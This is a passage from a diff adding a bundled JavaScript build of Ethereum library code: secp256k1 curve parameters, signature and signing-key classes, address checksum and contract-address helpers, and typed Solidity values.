(pow2(b22, _22n, P) * b22) % P; + const b88 = (pow2(b44, _44n, P) * b44) % P; + const b176 = (pow2(b88, _88n, P) * b88) % P; + const b220 = (pow2(b176, _44n, P) * b44) % P; + const b223 = (pow2(b220, _3n, P) * b3) % P; + const t1 = (pow2(b223, _23n, P) * b22) % P; + const t2 = (pow2(t1, _6n, P) * b2) % P; + const root = pow2(t2, _2n, P); + if (!Fp.eql(Fp.sqr(root), y)) + throw new Error('Cannot find square root'); + return root; +} +const Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod }); +const secp256k1 = createCurve({ + a: BigInt(0), + b: BigInt(7), + Fp, + n: secp256k1N, + // Base point (x, y) aka generator point + Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'), + Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'), + h: BigInt(1), + lowS: true, + /** + * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism. + * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%. + * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit. + * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066 + */ + endo: { + beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'), + splitScalar: (k) => { + const n = secp256k1N; + const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15'); + const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3'); + const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8'); + const b2 = a1; + const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16) + const c1 = divNearest(b2 * k, n); + const c2 = divNearest(-b1 * k, n); + let k1 = mod(k - c1 * a1 - c2 * a2, n); + let k2 = mod(-c1 * b1 - c2 * b2, n); + const k1neg = k1 > POW_2_128; + const k2neg = k2 > POW_2_128; + if (k1neg) + k1 = n - k1; + if (k2neg) + k2 = n - k2; + if (k1 > POW_2_128 || k2 > POW_2_128) { + throw new Error('splitScalar: Endomorphism failed, k=' + k); + } + return { k1neg, k1, k2neg, k2 }; + }, + }, +}, sha256$1); +// Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code. +// https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki +BigInt(0); +secp256k1.ProjectivePoint; + +/** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ +const ZeroAddress = "0x0000000000000000000000000000000000000000"; + +/** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ +const ZeroHash = "0x0000000000000000000000000000000000000000000000000000000000000000"; + +/** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ +const N$1 = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); +/** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ +const WeiPerEther = BigInt("1000000000000000000"); +/** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +const MaxUint256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +/** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ +const MinInt256 = BigInt("0x8000000000000000000000000000000000000000000000000000000000000000") * BigInt(-1); +/** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +const MaxInt256 = BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + +// NFKC (composed) // (decomposed) +/** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ +const EtherSymbol = "\u039e"; // "\uD835\uDF63"; +/** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ +const MessagePrefix = "\x19Ethereum Signed Message:\n"; + +// Constants +const BN_0$7 = BigInt(0); +const BN_1$3 = BigInt(1); +const BN_2$3 = BigInt(2); +const BN_27$1 = BigInt(27); +const BN_28$1 = BigInt(28); +const BN_35$1 = BigInt(35); +const _guard$3 = {}; +function toUint256(value) { + return zeroPadValue(toBeArray(value), 32); +} +/** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ +class Signature { + #r; + #s; + #v; + #networkV; + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r() { return this.#r; } + set r(value) { + assertArgument(dataLength(value) === 32, "invalid r", "value", value); + this.#r = hexlify(value); + } + /** + * The ``s`` value for a signature. + */ + get s() { + assertArgument(parseInt(this.#s.substring(0, 3)) < 8, "non-canonical s; use ._s", "s", this.#s); + return this.#s; + } + set s(_value) { + assertArgument(dataLength(_value) === 32, "invalid s", "value", _value); + this.#s = hexlify(_value); + } + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s() { return this.#s; } + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid() { + return (parseInt(this.#s.substring(0, 3)) < 8); + } + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v() { return this.#v; } + set v(value) { + const v = getNumber(value, "value"); + assertArgument(v === 27 || v === 28, "invalid v", "v", value); + this.#v = v; + } + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV() { return this.#networkV; } + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId() { + const v = this.networkV; + if (v == null) { + return null; + } + return Signature.getChainId(v); + } + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity() { + return (this.v === 27) ? 0 : 1; + } + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS() { + // The EIP-2098 compact representation + const yParityAndS = getBytes(this.s); + if (this.yParity) { + yParityAndS[0] |= 0x80; + } + return hexlify(yParityAndS); + } + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized() { + return concat([this.r, this.yParityAndS]); + } + /** + * The serialized representation. + */ + get serialized() { + return concat([this.r, this.s, (this.yParity ? "0x1c" : "0x1b")]); + } + /** + * @private + */ + constructor(guard, r, s, v) { + assertPrivate(guard, _guard$3, "Signature"); + this.#r = r; + this.#s = s; + this.#v = v; + this.#networkV = null; + } + [Symbol.for('nodejs.util.inspect.custom')]() { + return `Signature { r: "${this.r}", s: "${this._s}"${this.isValid() ? "" : ', valid: "false"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`; + } + /** + * Returns a new identical [[Signature]]. + */ + clone() { + const clone = new Signature(_guard$3, this.r, this._s, this.v); + if (this.networkV) { + clone.#networkV = this.networkV; + } + return clone; + } + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON() { + const networkV = this.networkV; + return { + _type: "signature", + networkV: ((networkV != null) ? networkV.toString() : null), + r: this.r, s: this._s, v: this.v, + }; + } + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v) { + const bv = getBigInt(v, "v"); + // The v is not an EIP-155 v, so it is the unspecified chain ID + if ((bv == BN_27$1) || (bv == BN_28$1)) { + return BN_0$7; + } + // Bad value for an EIP-155 v + assertArgument(bv >= BN_35$1, "invalid EIP-155 v", "v", v); + return (bv - BN_35$1) / BN_2$3; + } + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * //_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId, v) { + return (getBigInt(chainId) * BN_2$3) + BigInt(35 + v - 27); + } + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v) { + const bv = getBigInt(v); + if (bv === BN_0$7 || bv === BN_27$1) { + return 27; + } + if (bv === BN_1$3 || bv === BN_28$1) { + return 28; + } + assertArgument(bv >= BN_35$1, "invalid v", "v", v); + // Otherwise, EIP-155 v means odd is 27 and even is 28 + return (bv & BN_1$3) ? 27 : 28; + } + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig) { + function assertError(check, message) { + assertArgument(check, message, "signature", sig); + } + if (sig == null) { + return new Signature(_guard$3, ZeroHash, ZeroHash, 27); + } + if (typeof (sig) === "string") { + const bytes = getBytes(sig, "signature"); + if (bytes.length === 64) { + const r = hexlify(bytes.slice(0, 32)); + const s = bytes.slice(32, 64); + const v = (s[0] & 0x80) ? 28 : 27; + s[0] &= 0x7f; + return new Signature(_guard$3, r, hexlify(s), v); + } + if (bytes.length === 65) { + const r = hexlify(bytes.slice(0, 32)); + const s = hexlify(bytes.slice(32, 64)); + const v = Signature.getNormalizedV(bytes[64]); + return new Signature(_guard$3, r, s, v); + } + assertError(false, "invalid raw signature length"); + } + if (sig instanceof Signature) { + return sig.clone(); + } + // Get r + const _r = sig.r; + assertError(_r != null, "missing r"); + const r = toUint256(_r); + // Get s; by any means necessary (we check consistency below) + const s = (function (s, yParityAndS) { + if (s != null) { + return toUint256(s); + } + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + const bytes = getBytes(yParityAndS); + bytes[0] &= 0x7f; + return hexlify(bytes); + } + assertError(false, "missing s"); + })(sig.s, sig.yParityAndS); + // Get v; by any means necessary (we check consistency below) + const { networkV, v } = (function (_v, yParityAndS, yParity) { + if (_v != null) { + const v = getBigInt(_v); + return { + networkV: ((v >= BN_35$1) ? v : undefined), + v: Signature.getNormalizedV(v) + }; + } + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + return { v: ((getBytes(yParityAndS)[0] & 0x80) ? 28 : 27) }; + } + if (yParity != null) { + switch (getNumber(yParity, "sig.yParity")) { + case 0: return { v: 27 }; + case 1: return { v: 28 }; + } + assertError(false, "invalid yParity"); + } + assertError(false, "missing v"); + })(sig.v, sig.yParityAndS, sig.yParity); + const result = new Signature(_guard$3, r, s, v); + if (networkV) { + result.#networkV = networkV; + } + // If multiple of v, yParity, yParityAndS we given, check they match + assertError(sig.yParity == null || getNumber(sig.yParity, "sig.yParity") === result.yParity, "yParity mismatch"); + assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, "yParityAndS mismatch"); + return result; + } +} + +/** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ +/** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ +class SigningKey { + #privateKey; + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey) { + assertArgument(dataLength(privateKey) === 32, "invalid private key", "privateKey", "[REDACTED]"); + this.#privateKey = hexlify(privateKey); + } + /** + * The private key. + */ + get privateKey() { return this.#privateKey; } + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey() { return SigningKey.computePublicKey(this.#privateKey); } + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey() { return SigningKey.computePublicKey(this.#privateKey, true); } + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest) { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + const sig = secp256k1.sign(getBytesCopy(digest), getBytesCopy(this.#privateKey), { + lowS: true + }); + return Signature.from({ + r: toBeHex(sig.r, 32), + s: toBeHex(sig.s, 32), + v: (sig.recovery ? 0x1c : 0x1b) + }); + } + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other) { + const pubKey = SigningKey.computePublicKey(other); + return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey), getBytes(pubKey), false)); + } + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key, compressed) { + let bytes = getBytes(key, "key"); + // private key + if (bytes.length === 32) { + const pubKey = secp256k1.getPublicKey(bytes, !!compressed); + return hexlify(pubKey); + } + // raw public key; use uncompressed key with 0x04 prefix + if (bytes.length === 64) { + const pub = new Uint8Array(65); + pub[0] = 0x04; + pub.set(bytes, 1); + bytes = pub; + } + const point = secp256k1.ProjectivePoint.fromHex(bytes); + return hexlify(point.toRawBytes(compressed)); + } + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest, signature) { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + const sig = Signature.from(signature); + let secpSig = secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r, sig.s]))); + secpSig = secpSig.addRecoveryBit(sig.yParity); + const pubKey = secpSig.recoverPublicKey(getBytesCopy(digest)); + assertArgument(pubKey != null, "invalid signature for digest", "signature", signature); + return "0x" + pubKey.toHex(false); + } + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0, p1, compressed) { + const pub0 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2)); + const pub1 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2)); + return "0x" + pub0.add(pub1).toHex(!!compressed); + } +} + +/** + * A fundamental building block of Ethereum is the underlying + * cryptographic primitives. + * + * @_section: api/crypto:Cryptographic Functions [about-crypto] + */ +/** + * Once called, prevents any future change to the underlying cryptographic + * primitives using the ``.register`` feature for hooks. + */ +function lock() { + computeHmac.lock(); + keccak256.lock(); + pbkdf2.lock(); + randomBytes.lock(); + ripemd160.lock(); + scrypt.lock(); + scryptSync.lock(); + sha256.lock(); + sha512.lock(); + randomBytes.lock(); +} + +const BN_0$6 = BigInt(0); +const BN_36 = BigInt(36); +function getChecksumAddress(address) { + // if (!isHexString(address, 20)) { + // logger.throwArgumentError("invalid address", "address", address); + // } + address = address.toLowerCase(); + const chars = address.substring(2).split(""); + const expanded = new Uint8Array(40); + for (let i = 0; i < 40; i++) { + expanded[i] = chars[i].charCodeAt(0); + } + const hashed = getBytes(keccak256(expanded)); + for (let i = 0; i < 40; i += 2) { + if ((hashed[i >> 1] >> 4) >= 8) { + chars[i] = chars[i].toUpperCase(); + } + if ((hashed[i >> 1] & 0x0f) >= 8) { + chars[i + 1] = chars[i + 1].toUpperCase(); + } + } + return "0x" + chars.join(""); +} +// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number +// Create lookup table +const ibanLookup = {}; +for (let i = 0; i < 10; i++) { + ibanLookup[String(i)] = String(i); +} +for (let i = 0; i < 26; i++) { + ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); +} +// How many decimal digits can we process? (for 64-bit float, this is 15) +// i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER)); +const safeDigits = 15; +function ibanChecksum(address) { + address = address.toUpperCase(); + address = address.substring(4) + address.substring(0, 2) + "00"; + let expanded = address.split("").map((c) => { return ibanLookup[c]; }).join(""); + // Javascript can handle integers safely up to 15 (decimal) digits + while (expanded.length >= safeDigits) { + let block = expanded.substring(0, safeDigits); + expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); + } + let checksum = String(98 - (parseInt(expanded, 10) % 97)); + while (checksum.length < 2) { + checksum = "0" + checksum; + } + return checksum; +} +const Base36 = (function () { + const result = {}; + for (let i = 0; i < 36; i++) { + const key = "0123456789abcdefghijklmnopqrstuvwxyz"[i]; + result[key] = BigInt(i); + } + return result; +})(); +function fromBase36(value) { + value = value.toLowerCase(); + let result = BN_0$6; + for (let i = 0; i < value.length; i++) { + result = result * BN_36 + Base36[value[i]]; + } + return result; +} +/** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ +function getAddress(address) { + assertArgument(typeof (address) === "string", "invalid address", "address", address); + if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { + // Missing the 0x prefix + if (!address.startsWith("0x")) { + address = "0x" + address; + } + const result = getChecksumAddress(address); + // It is a checksummed address with a bad checksum + assertArgument(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, "bad address checksum", "address", address); + return result; + } + // Maybe ICAP? (we only support direct mode) + if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { + // It is an ICAP address with a bad checksum + assertArgument(address.substring(2, 4) === ibanChecksum(address), "bad icap checksum", "address", address); + let result = fromBase36(address.substring(4)).toString(16); + while (result.length < 40) { + result = "0" + result; + } + return getChecksumAddress("0x" + result); + } + assertArgument(false, "invalid address", "address", address); +} +/** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ +function getIcapAddress(address) { + //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase(); + let base36 = BigInt(getAddress(address)).toString(36).toUpperCase(); + while (base36.length < 30) { + base36 = "0" + base36; + } + return "XE" + ibanChecksum("XE00" + base36) + base36; +} + +// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed +/** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ +function getCreateAddress(tx) { + const from = getAddress(tx.from); + const nonce = getBigInt(tx.nonce, "tx.nonce"); + let nonceHex = nonce.toString(16); + if (nonceHex === "0") { + nonceHex = "0x"; + } + else if (nonceHex.length % 2) { + nonceHex = "0x0" + nonceHex; + } + else { + nonceHex = "0x" + nonceHex; + } + return getAddress(dataSlice(keccak256(encodeRlp([from, nonceHex])), 12)); +} +/** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ +function getCreate2Address(_from, _salt, _initCodeHash) { + const from = getAddress(_from); + const salt = getBytes(_salt, "salt"); + const initCodeHash = getBytes(_initCodeHash, "initCodeHash"); + assertArgument(salt.length === 32, "salt must be 32 bytes", "salt", _salt); + assertArgument(initCodeHash.length === 32, "initCodeHash must be 32 bytes", "initCodeHash", _initCodeHash); + return getAddress(dataSlice(keccak256(concat(["0xff", from, salt, initCodeHash])), 12)); +} + +/** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ +function isAddressable(value) { + return (value && typeof (value.getAddress) === "function"); +} +/** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ +function isAddress(value) { + try { + getAddress(value); + return true; + } + catch (error) { } + return false; +} +async function checkAddress(target, promise) { + const result = await promise; + if (result == null || result === "0x0000000000000000000000000000000000000000") { + assert(typeof (target) !== "string", "unconfigured name", "UNCONFIGURED_NAME", { value: target }); + assertArgument(false, "invalid AddressLike value; did not resolve to a value address", "target", target); + } + return getAddress(result); +} +/** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ +function resolveAddress(target, resolver) { + if (typeof (target) === "string") { + if (target.match(/^0x[0-9a-f]{40}$/i)) { + return getAddress(target); + } + assert(resolver != null, "ENS resolution requires a provider", "UNSUPPORTED_OPERATION", { operation: "resolveName" }); + return checkAddress(target, resolver.resolveName(target)); + } + else if (isAddressable(target)) { + return checkAddress(target, target.getAddress()); + } + else if (target && typeof (target.then) === "function") { + return checkAddress(target, target); + } + assertArgument(false, "unsupported addressable value", "target", target); +} + +/** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ +const _gaurd = {}; +function n(value, width) { + let signed = false; + if (width < 0) { + signed = true; + width *= -1; + } + // @TODO: Check range is valid for value + return new Typed(_gaurd, `${signed ? "" : "u"}int${width}`, value, { signed, width }); +} +function b(value, size) { + // @TODO: Check range is valid for value + return new Typed(_gaurd, `bytes${(size) ? size : ""}`, value, { size }); +} +const _typedSymbol = Symbol.for("_ethers_typed"); +/** + * The **Typed** class to wrap values providing explicit type information. + */ +class Typed { + /** + * The type, as a Solidity-compatible type. + */ + type; + /** + * The actual value. + */ + value; + #options; + /** + * @_ignore: + */ + _typedSymbol; + /** + * @_ignore: + */ + constructor(gaurd, type, value, options) { + if (options == null) { + options = null; + } + assertPrivate(_gaurd, gaurd, "Typed"); + defineProperties(this, { _typedSymbol, type, value }); + this.#options = options; + // Check the value is valid + this.format(); + } + /** + * Format the type as a Human-Readable type. + */ + format() { + if (this.type === "array") { + throw new Error(""); + } + else if (this.type === "dynamicArray") { + throw new Error(""); + } + else if (this.type === "tuple") { + return `tuple(${this.value.map((v) => v.format()).join(",")})`; + } + return this.type; + } + /** + * The default value returned by this type. + */ + defaultValue() { + return 0; + } + /** + * The minimum value for numeric types. + */ + minValue() { + return 0; + } + /** + * The maximum value for numeric types. + */ + maxValue() { + return 0; + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt() { + return !!(this.type.match(/^u?int[0-9]+$/)); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData() { + return this.type.startsWith("bytes"); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString() { + return (this.type === "string"); + } + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName() { + if (this.type !== "tuple") { + throw TypeError("not a tuple"); + } + return this.#options; + } + // Returns the length of this type as an array + // - `null` indicates the length is unforced, it could be dynamic + // - `-1` indicates the length is dynamic + // - any other value indicates it is a static array and is its length + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength() { + if (this.type !== "array") { + throw TypeError("not an array"); + } + if (this.#options === true) { + return -1; + } + if (this.#options === false) { + return (this.value).length; + } + return null; + } + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type, value) { + return new Typed(_gaurd, type, value); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v) { return n(v, 8); } + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v) { return n(v, 16); } + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v) { return n(v, 24); } + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v) { return n(v, 32); } + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v) { return n(v, 40); } + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v) { return n(v, 48); } + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v) { return n(v, 56); } + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v) { return n(v, 64); } + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v) { return n(v, 72); } + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v) { return n(v, 80); } + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v) { return n(v, 88); } + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v) { return n(v, 96); } + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v) { return n(v, 104); } + /** + * Return a new ``uint112`` type for %%v%%. + */ 